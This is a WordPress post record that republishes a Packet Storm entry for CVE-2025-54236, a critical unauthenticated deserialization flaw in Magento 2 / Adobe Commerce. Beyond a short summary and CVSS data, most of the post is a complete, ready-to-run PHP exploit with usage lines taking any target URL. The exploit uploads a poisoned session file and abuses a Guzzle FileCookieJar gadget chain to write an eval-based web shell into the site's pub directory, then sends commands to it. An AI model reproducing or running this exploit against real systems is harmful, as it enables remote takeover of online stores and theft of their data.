{"id":32695,"date":"2025-12-24T11:45:21","date_gmt":"2025-12-24T11:45:21","guid":{"rendered":"http:\/\/localhost\/?p=32695"},"modified":"2025-12-24T11:45:21","modified_gmt":"2025-12-24T11:45:21","slug":"adobe-commerce-insecure-deserialization","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32695","title":{"rendered":"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:34:07&#8243;,&#8221;description&#8221;:&#8221;This flaw in Magento 2 \/ Adobe Commerce 2.4.x enables remote attackers to manipulate internal session handling paths and abuse PHP object chains Guzzle FileCookieJar gadget to achieve arbitrary file write, leading to remote code execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Adobe Commerce Insecure Deserialization&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213296&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-54236&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Magento 2 \/ Adobe Commerce Multiple 2.4.x builds Session Reaper Deserialization Vulnerability                               |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/community.magento.com\/                                                                                              |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212729\/ \\u0026 CVE\u20112025\u201154236\\n    \\n    [+] Summary    : CVE\u20112025\u201154236 is a critical unauthenticated deserialization vulnerability affecting Adobe Commerce (Magento).\\n                     The flaw enables remote attackers to manipulate internal session handling paths and abuse PHP object chains (Guzzle FileCookieJar gadget) \\n    \\t\\t\\t\\t to achieve arbitrary file write, leading to Remote Code Execution (RCE).\\n    \\n    A public exploit known informally as \u201cMagento Session Reaper\u201d chains multiple weaknesses together:\\n    \\n    Session file poisoning\\n    \\n    JSON API injection\\n    \\n    Object deserialization gadgets\\n    \\n    Guzzle FileCookieJar file\u2011write primitive\\n    \\n    Forced session deserialization\\n    \\n    WebShell deployment\\n    \\n    The attack requires no valid session, no authentication, and no user interaction.\\n    \\n    [+]  POC :\\n    \\n    # Verification only\\n    \\n    php poc.php https:\/\/target.com\\n    \\n    # Execution with command\\n    \\n    php poc.php https:\/\/target.com \\&#8221;whoami\\&#8221;\\n    \\n    # Execution with shell code\\n    \\n    php poc.php https:\/\/target.com \\&#8221;\\u003c?php system(&#8216;id&#8217;); ?\\u003e\\&#8221;\\n    \\n    \\n    \\u003c?php\\n    \\n    class MagentoSessionReaperExploit {\\n        private $targetUrl;\\n        private $sessionId;\\n        private $sessionFilename;\\n        private $exploitFilename;\\n        private $postParam;\\n        \\n        public function __construct($targetUrl) {\\n            $this-\\u003etargetUrl = rtrim($targetUrl, &#8216;\/&#8217;);\\n            $this-\\u003esessionId = bin2hex(random_bytes(16));\\n            $this-\\u003esessionFilename = \\&#8221;sess_{$this-\\u003esessionId}\\&#8221;;\\n            $this-\\u003eexploitFilename = bin2hex(random_bytes(4)) . \\&#8221;.php\\&#8221;;\\n            $this-\\u003epostParam = bin2hex(random_bytes(4));\\n        }\\n        \\n        \/**\\n         * \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0627\u0644\u062b\u063a\u0631\u0629\\n         *\/\\n        public function check() {\\n            $randomPath = implode(&#8216;\/&#8217;, [\\n                bin2hex(random_bytes(4)),\\n                bin2hex(random_bytes(4)),\\n                bin2hex(random_bytes(4))\\n            ]);\\n            \\n            $cartId = bin2hex(random_bytes(4));\\n            $url = \\&#8221;{$this-\\u003etargetUrl}\/rest\/default\/V1\/guest-carts\/{$cartId}\/order\\&#8221;;\\n            \\n            $payload = $this-\\u003ebuildDeserializationPayload($randomPath);\\n            \\n            $response = $this-\\u003esendRequest($url, &#8216;PUT&#8217;, $payload, [\\n                &#8216;Content-Type: application\/json&#8217;,\\n                &#8216;Accept: application\/json&#8217;\\n            ]);\\n            \\n            if (!$response) {\\n                return \\&#8221;Unknown: No response from target\\&#8221;;\\n            }\\n            \\n            $statusCode = $response[&#8216;status_code&#8217;];\\n            $body = strtolower($response[&#8216;body&#8217;]);\\n            \\n            switch ($statusCode) {\\n                case 400:\\n                    return \\&#8221;Safe: Target is patched (returns 400 Bad Request)\\&#8221;;\\n                case 404:\\n                    if (strpos($body, &#8216;no such entity&#8217;) !== false \\u0026\\u0026\\n                        (strpos($body, &#8216;cartid&#8217;) !== false || \\n                        (strpos($body, &#8216;fieldname&#8217;) !== false \\u0026\\u0026 strpos($body, &#8216;fieldvalue&#8217;) !== false))) {\\n                        return \\&#8221;Appears: Target returned 404 with expected error pattern\\&#8221;;\\n                    }\\n                    break;\\n                case 500:\\n                    if (strpos($body, &#8216;sessionhandler::read&#8217;) !== false ||\\n                        (strpos($body, &#8216;no such file or directory&#8217;) !== false \\u0026\\u0026 strpos($body, &#8216;session&#8217;) !== false) ||\\n                        strpos($body, &#8216;webapi-&#8216;) !== false) {\\n                        return \\&#8221;Appears: Target returned 500 error with SessionHandler\\&#8221;;\\n                    }\\n                    break;\\n            }\\n            \\n            return \\&#8221;Unknown: Unexpected HTTP status: {$statusCode}\\&#8221;;\\n        }\\n        \\n        \/**\\n         * \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n         *\/\\n        public function exploit($command = null) {\\n            echo \\&#8221;[*] Generating Guzzle\/FW1 deserialization payload&#8230;\\\\n\\&#8221;;\\n            \\n            $phpStub = \\&#8221;\\u003c?php @eval(base64_decode(\\\\$_POST[&#8216;{$this-\\u003epostParam}&#8217;]));?\\u003e\\&#8221;;\\n            $guzzlePayload = $this-\\u003ebuildGuzzleFw1Payload(\\&#8221;pub\/{$this-\\u003eexploitFilename}\\&#8221;, $phpStub);\\n            \\n            echo \\&#8221;[*] Uploading session file with Guzzle payload&#8230;\\\\n\\&#8221;;\\n            $formKey = bin2hex(random_bytes(6));\\n            $uploadedPath = $this-\\u003euploadSessionFile($guzzlePayload, $formKey);\\n            \\n            if (!$uploadedPath) {\\n                echo \\&#8221;[-] Failed to upload session file\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            $savePath = \\&#8221;media\/customer_address\\&#8221; . dirname($uploadedPath);\\n            \\n            echo \\&#8221;[*] Triggering deserialization&#8230;\\\\n\\&#8221;;\\n            if (!$this-\\u003etriggerDeserialization($savePath)) {\\n                echo \\&#8221;[-] Failed to trigger deserialization\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            echo \\&#8221;[+] Deserialization triggered successfully\\\\n\\&#8221;;\\n            \\n            \/\/ \u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0645\u0624\u0642\u062a\u0629\\n            $this-\\u003ecleanup();\\n            \\n            $executeUrl = \\&#8221;{$this-\\u003etargetUrl}\/pub\/{$this-\\u003eexploitFilename}\\&#8221;;\\n            echo \\&#8221;[*] Executing payload at: {$executeUrl}\\\\n\\&#8221;;\\n            \\n            if ($command) {\\n                $encodedCommand = base64_encode($command);\\n                $this-\\u003esendRequest($executeUrl, &#8216;POST&#8217;, \\&#8221;{$this-\\u003epostParam}=\\&#8221; . urlencode($encodedCommand), [\\n                    &#8216;Content-Type: application\/x-www-form-urlencoded&#8217;\\n                ]);\\n            }\\n            \\n            return true;\\n        }\\n        \\n        \/**\\n         * \u0631\u0641\u0639 \u0645\u0644\u0641 \u0627\u0644\u062c\u0644\u0633\u0629 \u0627\u0644\u062e\u0628\u064a\u062b\u0629\\n         *\/\\n        private function uploadSessionFile($content, $formKey) {\\n            $boundary = &#8216;&#8212;-&#8216; . bin2hex(random_bytes(16));\\n            $filename = \\&#8221;sess_{$this-\\u003esessionId}\\&#8221;;\\n            \\n            $postData = \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            $postData .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;form_key\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $postData .= \\&#8221;{$formKey}\\\\r\\\\n\\&#8221;;\\n            \\n            $postData .= \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            $postData .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;custom_attributes[country_id]\\\\\\&#8221;; filename=\\\\\\&#8221;{$filename}\\\\\\&#8221;\\\\r\\\\n\\&#8221;;\\n            $postData .= \\&#8221;Content-Type: application\/octet-stream\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $postData .= \\&#8221;{$content}\\\\r\\\\n\\&#8221;;\\n            $postData .= \\&#8221;&#8211;{$boundary}&#8211;\\\\r\\\\n\\&#8221;;\\n            \\n            $url = \\&#8221;{$this-\\u003etargetUrl}\/customer\/address_file\/upload\\&#8221;;\\n            \\n            $response = $this-\\u003esendRequest($url, &#8216;POST&#8217;, $postData, [\\n                \\&#8221;Content-Type: multipart\/form-data; boundary={$boundary}\\&#8221;,\\n                \\&#8221;Cookie: form_key={$formKey}\\&#8221;\\n            ]);\\n            \\n            if (!$response || $response[&#8216;status_code&#8217;] != 200) {\\n                return null;\\n            }\\n            \\n            $jsonResponse = json_decode($response[&#8216;body&#8217;], true);\\n            \\n            if (isset($jsonResponse[&#8216;error&#8217;]) \\u0026\\u0026 $jsonResponse[&#8216;error&#8217;] != 0) {\\n                echo \\&#8221;[-] Upload failed: {$jsonResponse[&#8216;error&#8217;]}\\\\n\\&#8221;;\\n                return null;\\n            }\\n            \\n            if (isset($jsonResponse[&#8216;file&#8217;])) {\\n                return $jsonResponse[&#8216;file&#8217;];\\n            }\\n            \\n            $sessionSaveDir = $this-\\u003esessionSaveDirFromFilename($filename);\\n            return \\&#8221;\/{$sessionSaveDir}\/{$filename}\\&#8221;;\\n        }\\n        \\n        \/**\\n         * \u0628\u0646\u0627\u0621 payload \u0625\u0644\u063a\u0627\u0621 \u0627\u0644\u062a\u0633\u0644\u0633\u0644\\n         *\/\\n        private function buildDeserializationPayload($savePath) {\\n            $payload = [\\n                &#8216;paymentMethod&#8217; =\\u003e [\\n                    &#8216;paymentData&#8217; =\\u003e [\\n                        &#8216;context&#8217; =\\u003e [\\n                            &#8216;urlBuilder&#8217; =\\u003e [\\n                                &#8216;session&#8217; =\\u003e [\\n                                    &#8216;sessionConfig&#8217; =\\u003e [\\n                                        &#8216;savePath&#8217; =\\u003e $savePath\\n                                    ]\\n                                ]\\n                            ]\\n                        ]\\n                    ]\\n                ]\\n            ];\\n            \\n            return json_encode($payload);\\n        }\\n        \\n        \/**\\n         * \u062a\u0641\u0639\u064a\u0644 \u0625\u0644\u063a\u0627\u0621 \u0627\u0644\u062a\u0633\u0644\u0633\u0644\\n         *\/\\n        private function triggerDeserialization($savePath) {\\n            $cartId = bin2hex(random_bytes(4));\\n            $url = \\&#8221;{$this-\\u003etargetUrl}\/rest\/default\/V1\/guest-carts\/{$cartId}\/order\\&#8221;;\\n            \\n            $payload = $this-\\u003ebuildDeserializationPayload($savePath);\\n            \\n            $response = $this-\\u003esendRequest($url, &#8216;PUT&#8217;, $payload, [\\n                &#8216;Content-Type: application\/json&#8217;,\\n                &#8216;Accept: application\/json&#8217;,\\n                \\&#8221;Cookie: PHPSESSID={$this-\\u003esessionId}\\&#8221;\\n            ]);\\n            \\n            if (!$response) {\\n                return false;\\n            }\\n            \\n            return in_array($response[&#8216;status_code&#8217;], [404, 500]);\\n        }\\n        \\n        \/**\\n         * \u0628\u0646\u0627\u0621 payload Guzzle\/FW1\\n         *\/\\n        private function buildGuzzleFw1Payload($targetFile, $phpContent) {\\n            $escaped = \\&#8221;{$phpContent}\\\\n\\&#8221;;\\n            \\n            \/\/ Serialize string with PHP binary-safe format\\n            $setCookieData = \\&#8221;a:3:{\\&#8221; . \\n                $this-\\u003eserializeStringAscii(&#8216;Expires&#8217;) . \\&#8221;i:1;\\&#8221; .\\n                $this-\\u003eserializeStringAscii(&#8216;Discard&#8217;) . \\&#8221;b:0;\\&#8221; .\\n                $this-\\u003eserializeStringAscii(&#8216;Value&#8217;) . $this-\\u003eserializeStringAscii($escaped) . \\n            \\&#8221;}\\&#8221;;\\n            \\n            $setCookie = &#8216;O:27:\\&#8221;GuzzleHttp\\\\\\\\Cookie\\\\\\\\SetCookie\\&#8221;:1:&#8217; .\\n                \\&#8221;{\\&#8221; . $this-\\u003eserializeStringAscii(&#8216;data&#8217;) . \\&#8221;{$setCookieData}}\\&#8221;;\\n            \\n            $cookiesArray = \\&#8221;a:1:{i:0;{$setCookie}}\\&#8221;;\\n            \\n            $fileCookieJar = &#8216;O:31:\\&#8221;GuzzleHttp\\\\\\\\Cookie\\\\\\\\FileCookieJar\\&#8221;:4:&#8217; .\\n                \\&#8221;{\\&#8221; . $this-\\u003eserializeStringAscii(&#8216;cookies&#8217;) . \\&#8221;{$cookiesArray}\\&#8221; .\\n                $this-\\u003eserializeStringAscii(&#8216;strictMode&#8217;) . \\&#8221;N;\\&#8221; .\\n                $this-\\u003eserializeStringAscii(&#8216;filename&#8217;) . $this-\\u003eserializeStringAscii($targetFile) .\\n                $this-\\u003eserializeStringAscii(&#8216;storeSessionCookies&#8217;) . \\&#8221;b:1;}\\&#8221;;\\n            \\n            return \\&#8221;_|{$fileCookieJar}\\&#8221;;\\n        }\\n        \\n        \/**\\n         * \u062a\u0633\u0644\u0633\u0644 \u0646\u0635 \u0628\u0635\u064a\u063a\u0629 ASCII \u062b\u0646\u0627\u0626\u064a\u0629 \u0622\u0645\u0646\u0629 \u0644\u0640 PHP\\n         *\/\\n        private function serializeStringAscii($str) {\\n            $result = &#8221;;\\n            $length = strlen($str);\\n            \\n            for ($i = 0; $i \\u003c $length; $i++) {\\n                $byte = ord($str[$i]);\\n                \\n                \/\/ Keep printable ASCII characters except backslash (92) and double quote (34)\\n                if ($byte \\u003e= 32 \\u0026\\u0026 $byte \\u003c= 126 \\u0026\\u0026 $byte != 92 \\u0026\\u0026 $byte != 34) {\\n                    $result .= chr($byte);\\n                } else {\\n                    \/\/ Escape other characters as \\\\xHH\\n                    $result .= sprintf(\\&#8221;\\\\\\\\x%02x\\&#8221;, $byte);\\n                }\\n            }\\n            \\n            return \\&#8221;S:{$length}:\\\\\\&#8221;{$result}\\\\\\&#8221;;\\&#8221;;\\n        }\\n        \\n        \/**\\n         * \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0645\u0633\u0627\u0631 \u062d\u0641\u0638 \u0627\u0644\u062c\u0644\u0633\u0629 \u0645\u0646 \u0627\u0633\u0645 \u0627\u0644\u0645\u0644\u0641\\n         *\/\\n        private function sessionSaveDirFromFilename($filename) {\\n            return $filename[0] . &#8216;\/&#8217; . $filename[1];\\n        }\\n        \\n        \/**\\n         * \u0625\u0631\u0633\u0627\u0644 \u0637\u0644\u0628 HTTP\\n         *\/\\n        private function sendRequest($url, $method, $data = null, $headers = []) {\\n            $ch = curl_init();\\n            \\n            curl_setopt($ch, CURLOPT_URL, $url);\\n            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\\n            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\\n            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\\n            curl_setopt($ch, CURLOPT_TIMEOUT, 30);\\n            \\n            if ($method === &#8216;POST&#8217; || $method === &#8216;PUT&#8217;) {\\n                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);\\n                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\\n            }\\n            \\n            if (!empty($headers)) {\\n                curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\\n            }\\n            \\n            $response = curl_exec($ch);\\n            $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            $error = curl_error($ch);\\n            \\n            curl_close($ch);\\n            \\n            if ($error) {\\n                echo \\&#8221;[-] cURL Error: {$error}\\\\n\\&#8221;;\\n                return null;\\n            }\\n            \\n            return [\\n                &#8216;status_code&#8217; =\\u003e $statusCode,\\n                &#8216;body&#8217; =\\u003e $response\\n            ];\\n        }\\n        \\n        \/**\\n         * \u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0645\u0624\u0642\u062a\u0629\\n         *\/\\n        private function cleanup() {\\n            \/\/ \u064a\u0645\u0643\u0646 \u0625\u0636\u0627\u0641\u0629 \u0645\u0646\u0637\u0642 \u0627\u0644\u062a\u0646\u0638\u064a\u0641 \u0647\u0646\u0627\\n            \/\/ \u0641\u064a \u0627\u0644\u0625\u0635\u062f\u0627\u0631 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u060c \u064a\u062c\u0628 \u062d\u0630\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0645 \u0625\u0646\u0634\u0627\u0624\u0647\u0627\\n        }\\n    }\\n    \\n    \/\/ \u0645\u062b\u0627\u0644 \u0644\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        echo \\&#8221;Magento SessionReaper Exploit by indoushka\\\\n\\&#8221;;\\n        echo \\&#8221;=============================================\\\\n\\\\n\\&#8221;;\\n        \\n        if ($argc \\u003c 2) {\\n            echo \\&#8221;Usage: php \\&#8221; . basename(__FILE__) . \\&#8221; \\u003ctarget_url\\u003e [command]\\\\n\\&#8221;;\\n            echo \\&#8221;Example: php \\&#8221; . basename(__FILE__) . \\&#8221; https:\/\/target.com \\\\\\&#8221;whoami\\\\\\&#8221;\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $targetUrl = $argv[1];\\n        $command = $argc \\u003e 2 ? $argv[2] : null;\\n        \\n        $exploit = new MagentoSessionReaperExploit($targetUrl);\\n        \\n        \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0623\u0648\u0644\u0627\u064b\\n        echo \\&#8221;[*] Checking target&#8230;\\\\n\\&#8221;;\\n        $checkResult = $exploit-\\u003echeck();\\n        echo \\&#8221;[*] Check result: {$checkResult}\\\\n\\&#8221;;\\n        \\n        if (strpos($checkResult, &#8216;Appears&#8217;) !== false || strpos($checkResult, &#8216;Unknown&#8217;) !== false) {\\n            echo \\&#8221;[*] Attempting exploitation&#8230;\\\\n\\&#8221;;\\n            if ($exploit-\\u003eexploit($command)) {\\n                echo \\&#8221;[+] Exploitation completed successfully\\\\n\\&#8221;;\\n            } else {\\n                echo \\&#8221;[-] Exploitation failed\\\\n\\&#8221;;\\n            }\\n        } else {\\n            echo \\&#8221;[-] Target appears to be safe or patched\\\\n\\&#8221;;\\n        }\\n    }\\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213296&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213296\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:34:07&#8243;,&#8221;description&#8221;:&#8221;This flaw in Magento 2 \/ Adobe Commerce 2.4.x enables remote attackers to manipulate internal session handling paths and abuse PHP object chains Guzzle FileCookieJar&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-32695","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32695\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:34:07&#8243;,&#8221;description&#8221;:&#8221;This flaw in Magento 2 \/ Adobe Commerce 2.4.x enables remote attackers to manipulate internal session handling paths and abuse PHP object chains Guzzle FileCookieJar...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32695\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-24T11:45:21+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32695#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32695\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296\",\"datePublished\":\"2025-12-24T11:45:21+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32695\"},\"wordCount\":1645,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.1\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32695#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32695\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32695\",\"name\":\"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-24T11:45:21+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32695#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32695\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32695#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32695","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:34:07&#8243;,&#8221;description&#8221;:&#8221;This flaw in Magento 2 \/ Adobe Commerce 2.4.x enables remote attackers to manipulate internal session handling paths and abuse PHP object chains Guzzle FileCookieJar...","og_url":"https:\/\/zero.redgem.net\/?p=32695","og_site_name":"zero 